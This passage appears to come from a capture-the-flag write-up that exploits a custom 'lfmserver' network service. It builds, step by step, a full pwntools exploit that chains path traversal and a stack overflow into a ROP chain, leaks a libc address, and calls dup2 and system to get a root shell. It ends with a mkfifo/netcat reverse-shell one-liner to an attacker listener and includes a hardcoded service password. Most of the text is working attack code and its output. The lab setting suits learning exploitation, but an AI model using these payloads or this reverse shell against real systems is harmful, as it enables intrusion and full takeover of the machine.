lfmserver[3357]: socket created (fd=5)
lfmserver[3357]: socket bind() OK
lfmserver[3357]: listen() went ok. BACKLOG=128
lfmserver[3358]: N_THREAD: 1, MAX_THREADS: 5
Now it listens on port 8888, also of note the fd of 5 was the same across all reboots. This may be important later for a dup2
based payload. I ended up having a bit of trouble getting the system going and found the following in the log
lfmserver[4335]: 404 NOT FOUND: ./files/../../../../../../etc/passwd
It turned out to need a directory called files
to work, so I made one. And ran a new version of my crash exploit
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*200))
stage_1 = REQ.format(url, USER, PASS, HASH)
r = remote(IP, PORT)
r.send(stage_1)
if __name__ == '__main__':
main()
In gdb this gave the following
[----------------------------------registers-----------------------------------]
RAX: 0xffffffff
RBX: 0x0
RCX: 0x7ffff7b74fef (<__libc_write+79>: cmp rax,0xfffffffffffff000)
RDX: 0x17
RSI: 0x7ffff797fd40 ("LFM 406 MD5 NOT MATCH\r\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffff797fe78 ('A' <repeats 84 times>)
RIP: 0x403db7 (ret)
R8 : 0x0
R9 : 0x17
R10: 0x400cea --> 0x7266006574697277 ('write')
R11: 0x0
R12: 0x7fffffffde8e --> 0x0
R13: 0x7fffffffde8f --> 0x0
R14: 0x7ffff797ffc0 --> 0x0
R15: 0x802000
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x403dac: call 0x402eb1
0x403db1: mov eax,0xffffffff
0x403db6: leave
=> 0x403db7: ret
0x403db8: push rbp
0x403db9: mov rbp,rsp
0x403dbc: push rbx
0x403dbd: sub rsp,0x28
[------------------------------------stack-------------------------------------]
0000| 0x7ffff797fe78 ('A' <repeats 84 times>)
0008| 0x7ffff797fe80 ('A' <repeats 76 times>)
0016| 0x7ffff797fe88 ('A' <repeats 68 times>)
0024| 0x7ffff797fe90 ('A' <repeats 60 times>)
0032| 0x7ffff797fe98 ('A' <repeats 52 times>)
0040| 0x7ffff797fea0 ('A' <repeats 44 times>)
0048| 0x7ffff797fea8 ('A' <repeats 36 times>)
0056| 0x7ffff797feb0 ('A' <repeats 28 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000403db7 in ?? ()
So I had a crash, I added 6 B's to the end of the A's to see if I could overwrite RIP. And with some adjustments
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*125 + "B" * 6))
stage_1 = REQ.format(url, USER, PASS, HASH)
print("STAGE 1")
print("========")
print(stage_1)
print("========")
r = remote(IP, PORT)
r.send(stage_1)
print(r.recv(8096))
if __name__ == '__main__':
main()
Gave
[----------------------------------registers-----------------------------------]
RAX: 0xffffffff
RBX: 0x0
RCX: 0x7f218ad4ab87 (<write+71>: cmp rax,0xfffffffffffff000)
RDX: 0x17
RSI: 0x7f218ab31d40 ("LFM 406 MD5 NOT MATCH\r\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7f218ab31e80 --> 0x7f2184000b20 --> 0x0
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x0
R9 : 0x1
R10: 0x7
R11: 0x0
R12: 0x7ffe1833eb1e --> 0x0
R13: 0x7ffe1833eb1f --> 0x0
R14: 0x409580 --> 0x0
R15: 0x7f218ab31fc0 --> 0x0
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7f218ab31e80 --> 0x7f2184000b20 --> 0x0
0008| 0x7f218ab31e88 --> 0x600404df5
0016| 0x7f218ab31e90 --> 0x7f2184000b60 --> 0x6
0024| 0x7f218ab31e98 --> 0x7f2184000b40 ("127.0.0.1")
0032| 0x7f218ab31ea0 --> 0x7f218ab31ef0 --> 0x0
0040| 0x7f218ab31ea8 --> 0x405035 (mov eax,DWORD PTR [rbp-0x10])
0048| 0x7f218ab31eb0 --> 0x0
0056| 0x7f218ab31eb8 --> 0x2107540 --> 0x7f218ab32700 (0x00007f218ab32700)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()
So I could take control of RIP. First I wanted to leak the ASLR offset and then pop a shell. To do this I need to compare a real libc address against a libc base address. To move data I will use write with their socket https://linux.die.net/man/2/write. Write takes the file descriptor, the buffer to write, and how much to write. As the logs had shown the main process uses a file descriptor of 5. So it was logical that the first one to try for the child's socket was 6. I then want to give the call a GOT reference for a libc function, which will show me the real address. For the final value I needed to provide a value of at leas 8 as this was the possible size of the address.
Under the calling convention for 64 bit I needed to pass the parameters through specific registers, namely
param 1 : RDI
param 2 : RSI
param 3 : RDX
Finally I then pass the address of the function I actually want to call. In this case the PLT address of write. I looked for the required pops (for registers) in the binary using ropper and got
0x0000000000405c4b: pop rdi; ret;
0x0000000000405c49: pop rsi; pop r15; ret;
No pop RDX, but luckily I can see from the previous crashes RDX already contains 0x17
at time of crash, this will result in more data than is needed being sent, but it will be workable. Furthermore my pop RSI gadget has an additional pop before the ret, so I will need to include a dummy value to pop into R15 when I used it.
I then needed the PLT address of write
kali@kali:~/lfm$ objdump -D lfmserver | grep write
00000000004023c0 <fwrite@plt>:
0000000000402420 <write@plt>:
4025d7: e8 44 fe ff ff callq 402420 <write@plt>
4043ba: e8 01 e0 ff ff callq 4023c0 <fwrite@plt>
40481e: e8 9d db ff ff callq 4023c0 <fwrite@plt>
405829: e8 92 cb ff ff callq 4023c0 <fwrite@plt>
So
0000000000402420
And I also needed a got address for a function to use in offset calculating, I used a quick script to dump options for this
kali@kali:~/lfm$ cat got.py
from pwn import *
context(os='linux', arch='amd64')
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
for option in ELF.got:
print("{} : {}".format(option, ELF.got[option]))
kali@kali:~/lfm$ python got.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
strncmp : 4231296
fork : 4231624
malloc : 4231304
htonl : 4231656
strtoul : 4231712
snprintf : 4231224
stdout : 4231976
__errno_location : 4231544
memset : 4231216
fread : 4231528
strtok_r : 4231456
pthread_mutex_lock : 4231664
pthread_cond_signal : 4231248
fwrite : 4231648
__libc_start_main : 4231160
semop : 4231600
pthread_create : 4231392
fgets : 4231360
close : 4231232
feof : 4231576
fopen : 4231312
strlen : 4231384
strncpy : 4231592
strtol : 4231504
write : 4231696
pause : 4231208
pthread_attr_setdetachstate : 4231768
open : 4231736
floor : 4231680
strtod : 4231752
openlog : 4231264
vsyslog : 4231344
strndup : 4231744
pthread_mutex_init : 4231352
access : 4231616
MD5_Final : 4231416
exit : 4231272
sprintf : 4231448
accept : 4231704
realloc : 4231672
pthread_cond_timedwait : 4231320
log10 : 4231192
MD5_Update : 4231432
listen : 4231440
sendfile : 4231536
pthread_exit : 4231488
MD5_Init : 4231560
dup2 : 4231200
read : 4231288
fclose : 4231584
pthread_cond_init : 4231408
inet_ntop : 4231728
free : 4231376
ceil : 4231240
semget : 4231328
pthread_attr_init : 4231608
semctl : 4231496
pthread_mutex_unlock : 4231720
strstr : 4231472
sigaction : 4231480
strcasecmp : 4231280
setsockopt : 4231336
__gmon_start__ : 4231152
socket : 4231520
__xpg_strerror_r : 4231568
bind : 4231640
htons : 4231256
strerror : 4231464
getprotobyname : 4231424
waitpid : 4231512
time : 4231760
stderr : 4231968
__xstat : 4231400
fprintf : 4231688
closelog : 4231368
sigemptyset : 4231632
strcmp : 4231552
I needed it to be one that was part of libc, so I chose malloc, and then built a stage 1 payload
kali@kali:~/lfm$ cat exploit.py
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
OFFSET = 125
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
ret_filler = "A" * OFFSET
pop_rdi = p64(0x405c4b)
pop_rsi = p64(0x405c49)
got_value = p64(ELF.got['malloc'])
write_plt = p64(0x402420)
dummy_filler = "Z" * 8
sock_fd = p64(6)
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(got_value)
url += url_encode(dummy_filler)
url += url_encode(write_plt)
stage_1 = REQ.format(url, USER, PASS, HASH)
print("STAGE 1")
print("========")
print(stage_1)
print("========")
r = remote(IP, PORT)
r.send(stage_1)
print(r.recv(8096))
print(r.recv(8096))
if __name__ == '__main__':
main()
Which I then ran
kali@kali:~/lfm$ python textexploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00
It looked like I was getting a leak, so I added libc offset handling
kali@kali:~/lfm$ cat exploit.py
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
OFFSET = 125
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
ret_filler = "A" * OFFSET
pop_rdi = p64(0x405c4b)
pop_rsi = p64(0x405c49)
got_value = p64(ELF.got['malloc'])
write_plt = p64(0x402420)
dummy_filler = "Z" * 8
sock_fd = p64(6)
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(got_value)
url += url_encode(dummy_filler)
url += url_encode(write_plt)
stage_1 = REQ.format(url, USER, PASS, HASH)
print("STAGE 1")
print("========")
print(stage_1)
print("========")
r = remote(IP, PORT)
r.send(stage_1)
print(r.recvline())
print("==== leak? ====")
leak = r.recv(8096)
print(leak)
cleaned = leak[:8].strip().ljust(8, "\x00")
print(cleaned)
libc_malloc = LIBC.sym['malloc']
real_malloc = u64(cleaned)
print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
print("Real malloc: {}".format(hex(real_malloc)))
libc_offset = real_malloc - libc_malloc
LIBC.address = real_malloc - libc_malloc
print("Libc offset: {}".format(libc_offset))
print("Libc base: {}".format(hex(LIBC.address)))
if __name__ == '__main__':
main()
Which I then ran
kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH
==== leak? ====
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00
\x90K\xbe\x8a!\x7f\x00
libc malloc: 0x95b90
Real malloc: 0x7f218abe4b90
Libc offset: 139782037762048
Libc base: 0x7f218ab4f000
[*] Closed connection to 127.0.0.1 port 8888
I compared the believed location of malloc with the real one by checking it in gdb
gdb-peda$ p malloc
$1 = {<text variable, no debug info>} 0x7f218abe4b90 <malloc>
They matched, the ASLR leak was working. The next step is to create a shell. To do this I will use dup2
to duplicate file descriptors 0, 1 and 2 onto the socket and then execute /bin/sh
. https://linux.die.net/man/2/dup2 dup2
is fairly simple, pass it the fd I have and the fd I want. I needed to call it 3 times as
dup2(6, 0)
dup2(6, 1)
dup2(6, 2)
Again param 1 in RDI and param 2 in RSI, remembering my RSI gadget needs some dummy data. Once I had the dup2
called, I just needed to called system
with a reference to /bin/sh
, pwntools makes this fairly simple. Which led to
kali@kali:~/lfm$ cat exploit.py
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
IP = "127.0.0.1"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
OFFSET = 125
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
ret_filler = "A" * OFFSET
pop_rdi = p64(0x405c4b)
pop_rsi = p64(0x405c49)
got_value = p64(ELF.got['malloc'])
write_plt = p64(0x402420)
dummy_filler = "Z" * 8
sock_fd = p64(6)
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(got_value)
url += url_encode(dummy_filler)
url += url_encode(write_plt)
stage_1 = REQ.format(url, USER, PASS, HASH)
print("STAGE 1")
print("========")
print(stage_1)
print("========")
r = remote(IP, PORT)
r.send(stage_1)
print(r.recvline())
print("==== leak? ====")
leak = r.recv(8096)
print(leak)
cleaned = leak[:8].strip().ljust(8, "\x00")
print(cleaned)
libc_malloc = LIBC.sym['malloc']
real_malloc = u64(cleaned)
print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
print("Real malloc: {}".format(hex(real_malloc)))
libc_offset = real_malloc - libc_malloc
LIBC.address = real_malloc - libc_malloc
print("Libc offset: {}".format(libc_offset))
print("Libc base: {}".format(hex(LIBC.address)))
raw_input("Press enter to continue")
binsh = next(LIBC.search("/bin/sh"))
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
for i in range(3):
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(p64(i))
url += url_encode(dummy_filler)
url += url_encode(p64(LIBC.sym['dup2']))
url += url_encode(pop_rdi)
url += url_encode(p64(binsh))
url += url_encode(pop_rsi)
url += url_encode(p64(0))
url += url_encode(dummy_filler)
url += url_encode(p64(LIBC.sym['system']))
stage_2 = REQ.format(url, USER, PASS, HASH)
print("STAGE 2")
print("========")
print(stage_2)
print("========")
r = remote(IP, PORT)
r.send(stage_2)
r.interactive()
if __name__ == '__main__':
main()
Which I ran
kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH
==== leak? ====
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00
\x90K\xbe\x8a!\x7f\x00
libc malloc: 0x95b90
Real malloc: 0x7f218abe4b90
Libc offset: 139782037762048
Libc base: 0x7f218ab4f000
Press enter to continue
STAGE 2
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%01%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%02%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%80%9e%cf%8a%21%7f%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%00%f3%b9%8a%21%7f%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Switching to interactive mode
LFM 406 MD5 NOT MATCH
/bin/sh: 1: : not found
$
A shell popped on my local testing version. So I updated the exploit to point at the target, leading to a final exploit of
kali@kali:~/lfm$ cat exploit.py
from pwn import *
context(os='linux', arch='amd64')
#context.log_level='DEBUG'
#IP = "127.0.0.1"
IP = "10.10.10.173"
PORT = 8888
USER = "lfmserver_user"
PASS = "!gby0l0r0ck$$!"
FILE = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH = "AAAAAAAA"
REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"
ELF = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
OFFSET = 125
def url_encode(string):
return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)
def main():
ret_filler = "A" * OFFSET
pop_rdi = p64(0x405c4b)
pop_rsi = p64(0x405c49)
got_value = p64(ELF.got['malloc'])
write_plt = p64(0x402420)
dummy_filler = "Z" * 8
sock_fd = p64(6)
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(got_value)
url += url_encode(dummy_filler)
url += url_encode(write_plt)
stage_1 = REQ.format(url, USER, PASS, HASH)
print("STAGE 1")
print("========")
print(stage_1)
print("========")
r = remote(IP, PORT)
r.send(stage_1)
print(r.recvline())
print("==== leak? ====")
leak = r.recv(8096)
print(leak)
cleaned = leak[:8].strip().ljust(8, "\x00")
print(cleaned)
libc_malloc = LIBC.sym['malloc']
real_malloc = u64(cleaned)
print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
print("Real malloc: {}".format(hex(real_malloc)))
libc_offset = real_malloc - libc_malloc
LIBC.address = real_malloc - libc_malloc
print("Libc offset: {}".format(libc_offset))
print("Libc base: {}".format(hex(LIBC.address)))
raw_input("Press enter to continue")
binsh = next(LIBC.search("/bin/sh"))
url = ""
url += url_encode(TRAVERSAL)
url += FILE
url += "%00"
url += url_encode(ret_filler)
for i in range(3):
url += url_encode(pop_rdi)
url += url_encode(sock_fd)
url += url_encode(pop_rsi)
url += url_encode(p64(i))
url += url_encode(dummy_filler)
url += url_encode(p64(LIBC.sym['dup2']))
url += url_encode(pop_rdi)
url += url_encode(p64(binsh))
url += url_encode(pop_rsi)
url += url_encode(p64(0))
url += url_encode(dummy_filler)
url += url_encode(p64(LIBC.sym['system']))
stage_2 = REQ.format(url, USER, PASS, HASH)
print("STAGE 2")
print("========")
print(stage_2)
print("========")
r = remote(IP, PORT)
r.send(stage_2)
r.interactive()
if __name__ == '__main__':
main()
Which when I ran it
kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 10.10.10.173 on port 8888: Done
LFM 406 MD5 NOT MATCH
==== leak? ====
\x90Kdf\x04\x00��bf\x04\x00Puzf\x04\x00
\x90Kdf\x04\x00
libc malloc: 0x95b90
Real malloc: 0x7f0466644b90
Libc offset: 139656873832448
Libc base: 0x7f04665af000
Press enter to continue
STAGE 2
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%01%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%02%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%6b%66%04%7f%00%00%4b%5c%40%00%00%00%00%00%80%9e%75%66%04%7f%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%00%f3%5f%66%04%7f%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!
AAAAAAAA
========
[+] Opening connection to 10.10.10.173 on port 8888: Done
[*] Switching to interactive mode
LFM 406 MD5 NOT MATCH
/bin/sh: 1: : not found
$ id
uid=0(root) gid=0(root) groups=0(root)
Gave a root shell. Unfortunately the shell was very unstable, so I set a listener
kali@kali:~/lfm$ nc -nvlp 4444
Then re-ran my exploit, very quickly running the following in the shell
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 4444 >/tmp/f
Which gave me
connect to [10.10.14.27] from (UNKNOWN) [10.10.10.173] 44684
/bin/sh: 0: can't access tty; job control turned off
#
